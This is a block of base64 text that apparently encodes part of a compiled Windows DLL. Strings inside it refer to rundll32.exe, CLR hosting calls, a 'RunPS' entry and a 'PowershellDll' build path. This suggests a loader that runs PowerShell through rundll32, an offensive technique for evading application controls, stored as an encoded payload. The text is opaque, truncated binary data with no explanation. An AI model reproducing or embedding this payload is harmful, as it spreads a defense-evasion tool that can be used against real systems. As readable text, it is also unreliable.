AAGUAbgAtAGIAegAAAAAAAABlAG4ALQBjAGEAAAAAAAAAZQBuAC0AYwBiAAAAAAAAAGUAbgAtAGcAYgAAAAAAAABlAG4ALQBpAGUAAAAAAAAAZQBuAC0AagBtAAAAAAAAAGUAbgAtAG4AegAAAAAAAABlAG4ALQBwAGgAAAAAAAAAZQBuAC0AdAB0AAAAAAAAAGUAbgAtAHUAcwAAAAAAAABlAG4ALQB6AGEAAAAAAAAAZQBuAC0AegB3AAAAAAAAAGUAcwAtAGEAcgAAAAAAAABlAHMALQBiAG8AAAAAAAAAZQBzAC0AYwBsAAAAAAAAAGUAcwAtAGMAbwAAAAAAAABlAHMALQBjAHIAAAAAAAAAZQBzAC0AZABvAAAAAAAAAGUAcwAtAGUAYwAAAAAAAABlAHMALQBlAHMAAAAAAAAAZQBzAC0AZwB0AAAAAAAAAGUAcwAtAGgAbgAAAAAAAABlAHMALQBtAHgAAAAAAAAAZQBzAC0AbgBpAAAAAAAAAGUAcwAtAHAAYQAAAAAAAABlAHMALQBwAGUAAAAAAAAAZQBzAC0AcAByAAAAAAAAAGUAcwAtAHAAeQAAAAAAAABlAHMALQBzAHYAAAAAAAAAZQBzAC0AdQB5AAAAAAAAAGUAcwAtAHYAZQAAAAAAAABlAHQALQBlAGUAAAAAAAAAZQB1AC0AZQBzAAAAAAAAAGYAYQAtAGkAcgAAAAAAAABmAGkALQBmAGkAAAAAAAAAZgBvAC0AZgBvAAAAAAAAAGYAcgAtAGIAZQAAAAAAAABmAHIALQBjAGEAAAAAAAAAZgByAC0AYwBoAAAAAAAAAGYAcgAtAGYAcgAAAAAAAABmAHIALQBsAHUAAAAAAAAAZgByAC0AbQBjAAAAAAAAAGcAbAAtAGUAcwAAAAAAAABnAHUALQBpAG4AAAAAAAAAaABlAC0AaQBsAAAAAAAAAGgAaQAtAGkAbgAAAAAAAABoAHIALQBiAGEAAAAAAAAAaAByAC0AaAByAAAAAAAAAGgAdQAtAGgAdQAAAAAAAABoAHkALQBhAG0AAAAAAAAAaQBkAC0AaQBkAAAAAAAAAGkAcwAtAGkAcwAAAAAAAABpAHQALQBjAGgAAAAAAAAAaQB0AC0AaQB0AAAAAAAAAGoAYQAtAGoAcAAAAAAAAABrAGEALQBnAGUAAAAAAAAAawBrAC0AawB6AAAAAAAAAGsAbgAtAGkAbgAAAAAAAABrAG8AawAtAGkAbgAAAAAAawBvAC0AawByAAAAAAAAAGsAeQAtAGsAZwAAAAAAAABsAHQALQBsAHQAAAAAAAAAbAB2AC0AbAB2AAAAAAAAAG0AaQAtAG4AegAAAAAAAABtAGsALQBtAGsAAAAAAAAAbQBsAC0AaQBuAAAAAAAAAG0AbgAtAG0AbgAAAAAAAABtAHIALQBpAG4AAAAAAAAAbQBzAC0AYgBuAAAAAAAAAG0AcwAtAG0AeQAAAAAAAABtAHQALQBtAHQAAAAAAAAAbgBiAC0AbgBvAAAAAAAAAG4AbAAtAGIAZQAAAAAAAABuAGwALQBuAGwAAAAAAAAAbgBuAC0AbgBvAAAAAAAAAG4AcwAtAHoAYQAAAAAAAABwAGEALQBpAG4AAAAAAAAAcABsAC0AcABsAAAAAAAAAHAAdAAtAGIAcgAAAAAAAABwAHQALQBwAHQAAAAAAAAAcQB1AHoALQBiAG8AAAAAAHEAdQB6AC0AZQBjAAAAAABxAHUAegAtAHAAZQAAAAAAcgBvAC0AcgBvAAAAAAAAAHIAdQAtAHIAdQAAAAAAAABzAGEALQBpAG4AAAAAAAAAcwBlAC0AZgBpAAAAAAAAAHMAZQAtAG4AbwAAAAAAAABzAGUALQBzAGUAAAAAAAAAcwBrAC0AcwBrAAAAAAAAAHMAbAAtAHMAaQAAAAAAAABzAG0AYQAtAG4AbwAAAAAAcwBtAGEALQBzAGUAAAAAAHMAbQBqAC0AbgBvAAAAAABzAG0AagAtAHMAZQAAAAAAcwBtAG4ALQBmAGkAAAAAAHMAbQBzAC0AZgBpAAAAAABzAHEALQBhAGwAAAAAAAAAcwByAC0AYgBhAC0AYwB5AHIAbAAAAAAAcwByAC0AYgBhAC0AbABhAHQAbgAAAAAAcwByAC0AcwBwAC0AYwB5AHIAbAAAAAAAcwByAC0AcwBwAC0AbABhAHQAbgAAAAAAcwB2AC0AZgBpAAAAAAAAAHMAdgAtAHMAZQAAAAAAAABzAHcALQBrAGUAAAAAAAAAcwB5AHIALQBzAHkAAAAAAHQAYQAtAGkAbgAAAAAAAAB0AGUALQBpAG4AAAAAAAAAdABoAC0AdABoAAAAAAAAAHQAbgAtAHoAYQAAAAAAAAB0AHIALQB0AHIAAAAAAAAAdAB0AC0AcgB1AAAAAAAAAHUAawAtAHUAYQAAAAAAAAB1AHIALQBwAGsAAAAAAAAAdQB6AC0AdQB6AC0AYwB5AHIAbAAAAAAAdQB6AC0AdQB6AC0AbABhAHQAbgAAAAAAdgBpAC0AdgBuAAAAAAAAAHgAaAAtAHoAYQAAAAAAAAB6AGgALQBjAGgAcwAAAAAAegBoAC0AYwBoAHQAAAAAAHoAaAAtAGMAbgAAAAAAAAB6AGgALQBoAGsAAAAAAAAAegBoAC0AbQBvAAAAAAAAAHoAaAAtAHMAZwAAAAAAAAB6AGgALQB0AHcAAAAAAAAAegB1AC0AegBhAAAAAAAAAAAAAAAAAAAAAAAAAAAA8P8AAAAAAAAAAAAAAAAAAPB/AAAAAAAAAAAAAAAAAAD4/wAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAP8DAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA////////DwAAAAAAAAAAAAAAAAAA8A8AAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAADuUmFXvL2z8AAAAAAAAAAAAAAAB4y9s/AAAAAAAAAAA1lXEoN6moPgAAAAAAAAAAAAAAUBNE0z8AAAAAAAAAACU+Yt4/7wM+AAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAA8D8AAAAAAAAAAAAAAAAAAOA/AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAYD8AAAAAAAAAAAAAAAAAAOA/AAAAAAAAAABVVVVVVVXVPwAAAAAAAAAAAAAAAAAA0D8AAAAAAAAAAJqZmZmZmck/AAAAAAAAAABVVVVVVVXFPwAAAAAAAAAAAAAAAAD4j8AAAAAAAAAAAP0HAAAAAAAAAAAAAAAAAAAAAAAAAACwPwAAAAAAAAAAAAAAAAAA7j8AAAAAAAAAAAAAAAAAAPE/AAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAA/////////38AAAAAAAAAAOZUVVVVVbU/AAAAAAAAAADUxrqZmZmJPwAAAAAAAAAAn1HxByNJYj8AAAAAAAAAAPD/Xcg0gDw/AAAAAAAAAAAAAAAA/////wAAAAAAAAAAAQAAAAIAAAADAAAAAAAAAAAAAAAAAAAAAAAAkJ69Wz8AAABw1K9rPwAAAGCVuXQ/AAAAoHaUez8AAACgTTSBPwAAAFAIm4Q/AAAAwHH+hz8AAACAkF6LPwAAAPBqu44/AAAAoIMKkT8AAADgtbWSPwAAAFBPX5Q/AAAAAFMHlj8AAADQw62XPwAAAPCkUpk/AAAAIPn1mj8AAABww5ecPwAAAKAGOJ4/AAAAsMXWnz8AAACgAbqgPwAAACDhh6E/AAAAwAJVoj8AAADAZyGjPwAAAJAR7aM/AAAAgAG4pD8AAADgOIKlPwAAABC5S6Y/AAAAQIMUpz8AAADAmNynPwAAAND6o6g/AAAAwKpqqT8AAADQqTCqPwAAACD59ao/AAAAAJq6qz8AAACQjX6sPwAAABDVQa0/AAAAoHEErj8AAABwZMauPwAAALCuh68/AAAAwCgksD8AAADwJoSwPwAAAJDS47A/AAAAMCxDsT8AAABANKKxPwAAAGDrALI/AAAAEFJfsj8AAADgaL2yPwAAAFAwG7M/AAAA4Kh4sz8AAAAw09WzPwAAAKCvMrQ/AAAA0D6PtD8AAAAggeu0PwAAADB3R7U/AAAAYCGjtT8AAABAgP61PwAAAECUWbY/AAAA8F20tj8AAACw3Q63PwAAAAAUabc/AAAAYAHDtz8AAAAwphy4PwAAAAADdrg/AAAAMBjPuD8AAABA5ie5PwAAAJBtgLk/AAAAoK7YuT8AAADQqTC6PwAAAKBfiLo/AAAAcNDfuj8AAACw/Da7PwAAANDkjbs/AAAAMInkuz8AAABA6jq8PwAAAHAIkbw/AAAAEOTmvD8AAACgfTy9PwAAAIDVkb0/AAAAAOzmvT8AAACgwTu+PwAAALBWkL4/AAAAoKvkvj8AAADAwDi/PwAAAICWjL8/AAAAMC3gvz8AAACgwhnAPwAAAHBPQ8A/AAAAYL1swD8AAACADJbAPwAAAAA9v8A/AAAAEE/owD8AAADwQhHBPwAAAKAYOsE/AAAAgNBiwT8AAACQaovBPwAAABDns8E/AAAAMEbcwT8AAAAQiATCPwAAAOCsLMI/AAAA0LRUwj8AAADwn3zCPwAAAIBupMI/AAAAsCDMwj8AAACQtvPCPwAAAFAwG8M/AAAAII5Cwz8AAAAg0GnDPwAAAID2kMM/AAAAYAG4wz8AAADg8N7DPwAAADDFBcQ/AAAAcH4sxD8AAADQHFPEPwAAAHCgecQ/AAAAcAmgxD8AAAAAWMbEPwAAADCM7MQ/AAAAQKYSxT8AAAAwpjjFPwAAAFCMXsU/AAAAkFiExT8AAABAC6rFPwAAAHCkz8U/AAAAQCT1xT8AAADQihrGPwAAAFDYP8Y/AAAA0Axlxj8AAACAKIrGPwAAAIArr8Y/AAAA4BXUxj8AAADQ5/jGPwAAAHChHcc/AAAA4EJCxz8AAABAzGbHPwAAAKA9i8c/AAAAMJevxz8AAAAQ2dPHPwAAAFAD+Mc/AAAAIBYcyD8AAACQEUDIPwAAAMD1Y8g/AAAA4MKHyD8AAAAAeavIPwAAADAYz8g/AAAAoKDyyD8AAABwEhbJPwAAALBtOck/AAAAgLJcyT8AAAAA4X/JPwAAAFD5osk/AAAAcPvFyT8AAACw5+jJPwAAAPC9C8o/AAAAgH4uyj8AAABgKVHKPwAAAKC+c8o/AAAAcD6Wyj8AAADwqLjKPwAAACD+2so/AAAAMD79yj8AAAAwaR/LPwAAAEB/Qcs/AAAAcIBjyz8AAADwbIXLPwAAALBEp8s/AAAA8AfJyz8AAADAturLPwAAADBRDMw/AAAAUNctzD8AAABQSU/MPwAAAECncMw/AAAAMPGRzD8AAABAJ7PMPwAAAIBJ1Mw/AAAAEFj1zD8AAAAAUxbNPwAAAGA6N80/AAAAYA5YzT8AAAAAz3jNPwAAAHB8mc0/AAAAoBa6zT8AAADQndrNPwAAAPAR+80/AAAAMHMbzj8AAACgwTvOPwAAAFD9W84/AAAAYCZ8zj8AAADgPJzOPwAAAOBAvM4/AAAAgDLczj8AAADQEfzOPwAAAODeG88/AAAA0Jk7zz8AAACgQlvPPwAAAIDZes8/AAAAcF6azz8AAACQ0bnPPwAAAPAy2c8/AAAAoIL4zz8AAABQ4AvQPwAAAKB2G9A/AAAAMAQr0D8AAAAQiTrQPwAAAEAFStA/AAAA4HhZ0D8AAADw42jQPwAAAHBGeNA/AAAAgKCH0D8AAAAQ8pbQPwAAADA7ptA/AAAA8Hu10D8AAABQtMTQPwAAAGDk09A/AAAAMAzj0D8AAADAK/LQPwAAABBDAdE/AAAAQFIQ0T8AAABAWR/RPwAAADBYLtE/AAAAAE890T8AAADQPUzRPwAAAKAkW9E/AAAAcANq0T8AAABQ2njRPwAAAECph9E/AAAAYHCW0T8AAACgL6XRPwAAABDns9E/AAAAwJbC0T8AAACwPtHRPwAAAPDe39E/AAAAcHfu0T8AAABgCP3RPwAAAKCRC9I/AAAAUBMa0j8AAABwjSjSPwAAABAAN9I/AAAAMGtF0j8AAADQzlPSPwAAAAArYtI/AAAA0H9w0j8AAABAzX7SPwAAAGATjdI/AAAAIFKb0j8AAACgianSPwAAAOC5t9I/AAAA4OLF0j8AAACwBNTSPwAAAFAf4tI/AAAAwDLw0j8AAAAgP/7SPwAAAHBEDNM/AAAAsEIa0z8AAADgOSjTPwAAABAqNtM/AAAAUBNE0z8AAAAAAAAAAAAAAAAAAAAAjyCyIrwKsj3UDS4zaQ+xPVfSfugNlc49aW1iO0Tz0z1XPjal6lr0PQu/4TxoQ8Q9EaXGYM2J+T2fLh8gb2L9Pc292riLT+k9FTBC79iIAD6teSumEwQIPsTT7sAXlwU+AknUrXdKrT0OMDfwP3YOPsP2BkfXYuE9FLxNH8wBBj6/5fZR4PPqPevzGh4Legk+xwLAcImjwD1Rx1cAAC4QPg5uze4AWxU+r7UDcCmG3z1tozazuVcQPk/qBkrISxM+rbyhntpDFj4q6ve0p2YdPu/89zjgsvY9iPBwxlTp8z2zyjoJCXIEPqddJ+ePcB0+57lxd57fHz5gBgqnvycIPhS8TR/MARY+W15qEPY3Bj5LYnzxE2oSPjpigM6yPgk+3pQV6dEwFD4xoI8QEGsdPkHyuguchxY+K7ymXgEI/z1sZ8bNPbYpPiyrxLwsAis+RGXdfdAX+T2eNwNXYEAVPmAbepSL0Qw+fql8J2WtFz6pX5/FTYgRPoLQBmDEERc++AgxPC4JLz464SvjxRQXPppPc/2nuyY+g4TgtY/0/T2VC03Hmy8jPhMMeUjoc/k9bljGCLzMHj6YSlL56RUhPrgxMVlAFy8+NThkJYvPGz6A7YsdqF8fPuTZKflNSiQ+lAwi2CCYEj4J4wSTSAsqPv5lpqtWTR8+Y1E2GZAMIT42J1n+eA/4PcocyCWIUhA+anRtfVOV4D1gBgqnvycYPjyTReyosAY+qdv1G/haED4V1VUm+uIXPr/krr/sWQ0+oz9o2i+LHT43Nzr93bgkPgQSrmF+ghM+nw/pSXuMLD4dWZcV8OopPjZ7MW6mqhk+VQZyCVZyLj5UrHr8MxwmPlKiYc8rZik+MCfEEchDGD42y1oLu2QgPqQBJ4QMNAo+1nmPtVWOGj6anV6cIS3pPWr9fw3mYz8+FGNR2Q6bLj4MNWIZkCMpPoFeeDiIbzI+r6arTGpbOz4cdo7caiLwPe0aOjHXSjw+F41zfOhkFT4YZorx7I8zPmZ2d/Wekj0+uKCN8DtIOT4mWKruDt07Pro3AlndxDk+x8rr4OnzGj6sDSeCU841Prq5KlN0Tzk+VIaIlSc0Bz7wS+MLAFoMPoLQBmDEESc++IzttCUAJT6g0vLOi9EuPlR1CgwuKCE+yqdZM/NwDT4lQKgTfn8rPh6JIcNuMDM+UHWLA/jHPz5kHdeMNbA+PnSUhSLIdjo+44beUsYOPT6vWIbgzKQvPp4KwNKihDs+0VvC8rClID6Z9lsiYNY9Pjfwm4UPsQg+4cuQtSOIPj72lh7zERM2PpoPolyHHy4+pbk5SXKVLD7iWD56lQU4PjQDn+om8S8+CVaOWfVTOT5IxFb4b8E2PvRh8g8iyyQ+olM91SDhNT5W8olhf1I6Pg+c1P/8Vjg+2tcogi4MMD7g30SU0BPxPaZZ6g5jECU+EdcyD3guJj7P+BAa2T7tPYXNS35KZSM+Ia2ASXhbBT5kbrHULS8hPgz1OdmtxDc+/IBxYoQXKD5hSeHHYlHqPWNRNhmQDDE+iHahK008Nz6BPengpegqPq8hFvDGsCo+ZlvddIseMD6UVLvsbyAtPgDMT3KLtPA9KeJhCx+DPz6vvAfElxr4Paq3yxxsKD4+kwoiSQtjKD5cLKLBFQv/PUYJHOdFVDU+hW0G+DDmOz45bNnw35klPoGwj7GFzDY+yKgeAG1HND4f0xaeiD83PocqeQ0QVzM+9gFhrnnROz7i9sNWEKMMPvsInGJwKD0+P2fSgDi6Oj6mfSnLMzYsPgLq75k4hCE+5gggncnMOz5Q071EBQA4PuFqYCbCkSs+3yu2Jt96Kj7JboLIT3YYPvBoD+U9Tx8+45V5dcpg9z1HUYDTfmb8PW/fahn2Mzc+a4M+8xC3Lz4TEGS6bog5PhqMr9BoU/s9cSmNG2mMNT77CG0iZZT+PZcAPwZ+WDM+GJ8SAucYNj5UrHr8Mxw2PkpgCISmBz8+IVSU5L80PD4LMEEO8LE4PmMb1oRCQz8+NnQ5XgljOj7eGblWhkI0PqbZsgGSyjY+HJMqOoI4Jz4wkhcOiBE8Pv5SbY3cPTE+F+kiidXuMz5Q3WuEklkpPosnLl9N2w0+xDUGKvGl8T00PCyI8EJGPl5H9qeb7io+5GBKg39LJj4ueUPiQg0pPgFPEwggJ0w+W8/WFi54Sj5IZtp5XFBEPiHNTerUqUw+vNV8Yj19KT4Tqrz5XLEgPt12z2MgWzE+SCeq8+aDKT6U6f/0ZEw/Pg9a6Hy6vkY+uKZO/WmcOz6rpF+DpWorPtHtD3nDzEM+4E9AxEzAKT6d2HV6S3NAPhIW4MQERBs+lEjOwmXFQD7NNdlBFMczPk47a1WSpHI9Q9xBAwn6ID702eMJcI8uPkWKBIv2G0s+Vqn631LuPj69ZeQACWtFPmZ2d/Wekk0+YOI3hqJuSD7wogzxr2VGPnTsSK/9ES8+x9Gkhhu+TD5ldqj+W7AlPh1KGgrCzkE+n5tACl/NQT5wUCbIVjZFPmAiKDXYfjc+0rlAMLwXJD7y73l7745APulX3Dlvx00+V/QMp5METD4MpqXO1oNKPrpXxQ1w1jA+Cr3oEmzJRD4VI+OTGSw9PkKCXxMhxyI+fXTaTT6aJz4rp0Fpn/j8PTEI8QKnSSE+23WBfEutTj4K52P+MGlOPi/u2b4G4UE+khzxgitoLT58pNuI8Qc6PvZywS00+UA+JT5i3j/vAz4AAAAAAAAAAAAAAAAAAABAIOAf4B/g/z/wB/wBf8D/PxL6Aaocof8/IPiBH/iB/z+126CsEGP/P3FCSp5lRP8/tQojRPYl/z8IH3zwwQf/PwKORfjH6f4/wOwBswfM/j/rAbp6gK7+P2e38Ksxkf4/5FCXpRp0/j905QHJOlf+P3Ma3HmROv4/Hh4eHh4e/j8e4AEe4AH+P4qG+OPW5f0/yh2g3AHK/T/bgbl2YK79P4p/HiPykv0/NCy4VLZ3/T+ycnWArFz9Px3UQR3UQf0/Glv8oywn/T90wG6PtQz9P8a/RFxu8vw/C5sDiVbY/D/nywGWbb78P5HhXgWzpPw/Qor7WiaL/D8cx3Ecx3H8P4ZJDdGUWPw/8PjDAY8//D8coC45tSb8P+DAgQMHDvw/i42G7oP1+z/3BpSJK937P3s+iGX9xPs/0LrBFPms+z8j/xgrHpX7P4sz2j1sffs/Be6+4+Jl+z9PG+i0gU77P84G2EpIN/s/2YBsQDYg+z+kItkxSwn7PyivobyG8vo/XpCUf+jb+j8bcMUacMX6P/3rhy8dr/o/vmNqYO+Y+j9Z4TBR5oL6P20a0KYBbfo/SopoB0FX+j8apEEapEH6P6AcxYcqLPo/Akt6+dMW+j8aoAEaoAH6P9kzEJWO7Pk/LWhrF5/X+T8CoeRO0cL5P9oQVeokrvk/mpmZmZmZ+T//wI4NL4X5P3K4DPjkcPk/rnfjC7tc+T/g6db8sEj5P+Ysm3/GNPk/KeLQSfsg+T/VkAESTw35P/oYnI/B+fg/PzfxelLm+D/TGDCNAdP4Pzr/YoDOv/g/qvNrD7ms+D+ciQH2wJn4P0qwq/Dlhvg/uZLAvCd0+D8YhmEYhmH4PxQGeMIAT/g/3b6yepc8+D+gpIIBSir4PxgYGBgYGPg/BhhggAEG+D9AfwH9BfT3Px1PWlEl4vc/9AV9QV/Q9z98AS6Ss773P8Ps4Agirfc/izm2a6qb9z/IpHiBTIr3Pw3GmhEIefc/sak05Nxn9z9tdQHCylb3P0YXXXTRRfc/jf5BxfA09z+83kZ/KCT3Pwl8nG14E/c/cIELXOAC9z8XYPIWYPL2P8c3Q2v34fY/YciBJqbR9j8XbMEWbMH2Pz0aowpJsfY/kHJT0Tyh9j/A0Ig6R5H2PxdogRZogfY/GmcBNp9x9j/5IlFq7GH2P6NKO4VPUvY/ZCELWchC9j/ewIq4VjP2P0BiAXf6I/Y/lK4xaLMU9j8GFlhggQX2P/wtKTRk9vU/5xXQuFvn9T+l4uzDZ9j1P1cQkyuIyfU/kfpHxry69T/AWgFrBaz1P6rMI/FhnfU/7ViBMNKO9T9gBVgBVoD1PzprUDztcfU/4lJ8updj9T9VVVVVVVX1P/6Cu+YlR/U/6w/0SAk59T9LBahW/yr1PxX44uoHHfU/xcQR4SIP9T8VUAEVUAH1P5tM3WKP8/Q/OQUvp+Dl9D9MLNy+Q9j0P26vJYe4yvQ/4Y+m3T699D9bv1Kg1q/0P0oBdq1/ovQ/Z9Cy4zmV9D+ASAEiBYj0P3sUrkfhevQ/ZmBZNM5t9D+az/XHy2D0P8p2x+LZU/Q/+9liZfhG9D9N7qswJzr0P4cf1SVmLfQ/UVleJrUg9D8UFBQUFBT0P2ZlDtGCB/Q/+xOwPwH78z8Hr6VCj+7zPwKp5Lws4vM/xnWqkdnV8z/nq3uklcnzP1UpI9lgvfM/FDuxEzux8z8iyHo4JKXzP2N/GCwcmfM/jghm0yKN8z8UOIETOIHzP+5FydFbdfM/SAfe841p8z/4Kp9fzl3zP8F4K/scUvM/RhPgrHlG8z+yvFdb5DrzP/odau1cL/M/vxArSuMj8z+26+lYdxjzP5DRMAEZDfM/YALEKsgB8z9oL6G9hPbyP0vR/qFO6/I/l4BLwCXg8j+gUC0BCtXyP6AsgU37yfI/ETdajvm+8j9AKwGtBLTyPwXB85IcqfI/nhLkKUGe8j+lBLhbcpPyPxOwiBKwiPI/Tc6hOPp98j81J4G4UHPyPycB1nyzaPI/8ZKAcCJe8j+yd5F+nVPyP5IkSZIkSfI/W2AXl7c+8j/fvJp4VjTyPyoSoCIBKvI/ePshgbcf8j/mVUiAeRXyP9nAZwxHC/I/EiABEiAB8j9wH8F9BPfxP0y4fzz07PE/dLg/O+/i8T+9Si5n9djxPx2Boq0Gz/E/WeAc/CLF8T8p7UZASrvxP+O68md8sfE/lnsaYbmn8T+eEeAZAZ7xP5yijIBTlPE/2yuQg7CK8T8SGIERGIHxP4TWGxmKd/E/eXNCiQZu8T8BMvxQjWTxPw0ndV8eW/E/ydX9o7lR8T87zQoOX0jxPyRHNI0OP/E/Ecg1Ecg18T+swO2JiyzxPzMwXedYI/E/JkinGTAa8T8RERERERHxP4AQAb77B/E/EfD+EPD+8D+iJbP67fXwP5Cc5mv17PA/EWCCVQbk8D+WRo+oINvwPzqeNVZE0vA/O9q8T3HJ8D9xQYuGp8DwP8idJezmt/A/tewuci+v8D+nEGgKgabwP2CDr6bbnfA/VAkBOT+V8D/iZXWzq4zwP4QQQgghhPA/4uq4KZ978D/G90cKJnPwP/sSeZy1avA//Knx0k1i8D+GdXKg7lnwPwQ01/eXUfA/xWQWzElJ8D8QBEEQBEHwP/xHgrfGOPA/Gl4ftZEw8D/pKXf8ZCjwPwgEAoFAIPA/N3pRNiQY8D8QEBAQEBDwP4AAAQIECPA/AAAAAAAA8D8AAAAAAAAAAGxvZzEwAAAAQwBPAE4ATwBVAFQAJAAAAAAAAAAAAAAA////////P0P///////8/w3J1bmRsbDMyLmV4ZQAAAABDTFJDcmVhdGVJbnN0YW5jZQAAAAAAAABDb3JCaW5kVG9SdW50aW1lAAAAAAAAAAB3AGsAcwAAAFByb2dyYW0AbQBzAGMAbwByAGUAZQAuAGQAbABsAAAAdgAyAC4AMAAuADUAMAA3ADIANwAAAAAAUgB1AG4AUABTAAAAAAAAAHYANAAuADAALgAzADAAMwAxADkAAAAAAJ7bMtOzuSVBggehSIT1MhYiZy/LOqvSEZxAAMBPowo+3Jb2BSkrYzati8Q4nPKnEyNnL8s6q9IRnEAAwE+jCj6NGICSjg5nSLMMf6g4hOje0tE5vS+6akiJsLSwy0ZokSIFkxkGAAAAxF0BAAAAAAAAAAAADQAAAABeAQBIAAAAAAAAAAEAAAAiBZMZCAAAANBcAQAAAAAAAAAAABEAAAAQXQEAQAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAFPhoWgAAAAACAAAATAAAAOxYAQDsTAEAAAAAABT4aFoAAAAADAAAABQAAAA4WQEAOE0BAAAAAAAU+GhaAAAAAA0AAADwAgAATFkBAExNAQAAAAAAFPhoWgAAAAAOAAAAAAAAAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADiAAYABAAAAAAAAAAAAAAAAAAAAAAAAAKDiAIABAAAAqOIAgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMDZAIABAAAAsOIAgAEAAAAAAAAAAAAAALjiAIABAAAAAAAAAAAAAAABAAAAAAAAAAAAAACo2wEAoFYBAHhWAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAuFYBAAAAAAAAAAAAyFYBAAAAAAAAAAAAAAAAAKjbAQAAAAAAAAAAAP////8AAAAAQAAAAKBWAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAADw2wEAGFcBAPBWAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAMFcBAAAAAAAAAAAAQFcBAAAAAAAAAAAAAAAAAPDbAQAAAAAAAAAAAP////8AAAAAQAAAABhXAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAADI2wEAkFcBAGhXAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAqFcBAAAAAAAAAAAAwFcBAEBXAQAAAAAAAAAAAAAAAAAAAAAAyNsBAAEAAAAAAAAA/////wAAAABAAAAAkFcBAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAABjcAQAQWAEA6FcBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAoWAEAAAAAAAAAAABIWAEAwFcBAEBXAQAAAAAAAAAAAAAAAAAAAAAAAAAAABjcAQACAAAAAAAAAP////8AAAAAQAAAABBYAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAABI3AEAmFgBAHBYAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAsFgBAAAAAAAAAAAAyFgBAEBXAQAAAAAAAAAAAAAAAAAAAAAASNwBAAEAAAAAAAAA/////wAAAABAAAAAmFgBAAAAAAAAAAAAUlNEU4g8bNUYMxZNvcVm06SKxZcBAAAAQzpcVGVtcFxQb3dlcnNoZWxsRGxsXHg2NFxSZWxlYXNlXFBvd2Vyc2hlbGxEbGwucGRiAAAAAAC5AAAAuQAAAAIAAAC3AAAAR0NUTAAQAAAQAAAALnRleHQkZGkAAAAAEBAAAIDJAAAudGV4dCRtbgAAAACQ2QAA4AAAAC50ZXh0JG1uJDAwAHDaAACwBAAALnRleHQkeAAg3wAADgAAAC50ZXh0JHlkAAAAAADgAACgAgAALmlkYXRhJDUAAAAAoOIAACAAAAAuMDBjZmcAAMDiAAAIAAAALkNSVCRYQ0EAAAAAyOIAAAgAAAAuQ1JUJFhDVQAAAADQ4gAACAAAAC5DUlQkWENaAAAAANjiAAAIAAAALkNSVCRYSUEAAAAA4OIAABgAAAAuQ1JUJFhJQwAAAAD44gAACAAAAC5DUlQkWElaAAAAAADjAAAIAAAALkNSVCRYUEEAAAAACOMAABAAAAAuQ1JUJFhQWAAAAAAY4wAACAAAAC5DUlQkWFBYQQAAACDjAAAIAAAALkNSVCRYUFoAAAAAKOMAAAgAAAAuQ1JUJFhUQQAAAAAw4wAAEAAAAC5DUlQkWFRaAAAAAEDjAAA4cwAALnJkYXRhAAB4VgEAdAIAAC5yZGF0YSRyAAAAAOxYAQBUAwAALnJkYXRhJHp6emRiZwAAAEBcAQAIAAAALnJ0YyRJQUEAAAAASFwBAAgAAAAucnRjJElaWgAAAABQXAEACAAAAC5ydGMkVEFBAAAAAFhcAQAIAAAALnJ0YyRUWloAAAAAYFwBAEAPAAAueGRhdGEAAKBrAQCwAQAALnhkYXRhJHgAAAAAUG0BAGQAAAAuZWRhdGEAALRtAQA8AAAALmlkYXRhJDIAAAAA8G0BABgAAAAuaWRhdGEkMwAAAAAIbgEAoAIAAC5pZGF0YSQ0AAAAAKhwAQBIBQAALmlkYXRhJDYAAAAAAIABAIBbAAAuZGF0YQAAAIDbAQDwAAAALmRhdGEkcgBw3AEAeBEAAC5ic3MAAAAAAPABAIAQAAAucGRhdGEAAAAQAgBgAAAALnJzcmMkMDEAAAAAYBACAIABAAAucnNyYyQwMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCgQACjQHAAoyBnAZGwMACQEoAAIwAAAcMAAAMAEAABkgBgASdA0AEjQLABJyC1AcMAAAOAAAAAEKBAAKNAgAClIGcBk5DQArxBsAJ3QaACNkGQAfNBgAEwEUAAjwBuAEUAAACNkAAOBUAQCSAAAA/////3DaAAAAAAAAfNoAAAEAAACI2gAAAQAAAKXaAAADAAAAsdoAAAQAAAC92gAABAAAANraAAAGAAAA5toAAHQSAAD/////uhIAAAAAAAC+EgAAAQAAANESAAACAAAA/xIAAAEAAAATEwAAAwAAABcTAAAEAAAAJhMAAAUAAABQEwAABAAAAGQTAAAGAAAAaBMAAAcAAACAFwAABgAAAJAXAAAEAAAAzRcAAAMAAADdFwAAAQAAABcYAAAAAAAAJxgAAP////8BBgIABjICUBkwCQAiZCAAHjQfABIBGgAH8AVwBFAAAAjZAAC4VAEAygAAAP/////y2gAAAAAAAP7aAAAAAAAAG9sAAAIAAAAn2wAAAwAAADPbAAAEAAAAP9sAAAAAAAAAAAAAAAAAAGQYAAD/////mxgAAAAAAACwGAAAAQAAAO8YAAAAAAAAAxkAAAIAAAAtGQAAAwAAADgZAAAEAAAAQxkAAAUAAADOGQAABAAAANkZAAADAAAA5BkAAAIAAADvGQAAAAAAAC0aAAD/////AQQBAARCAAAZKAk1GmQQABY0DwASMw2SCeAHcAZQAABMJgAAAQAAAGQbAACwGwAAAQAAALAbAABJAAAAIQUCAAU0BgDgHAAAFh0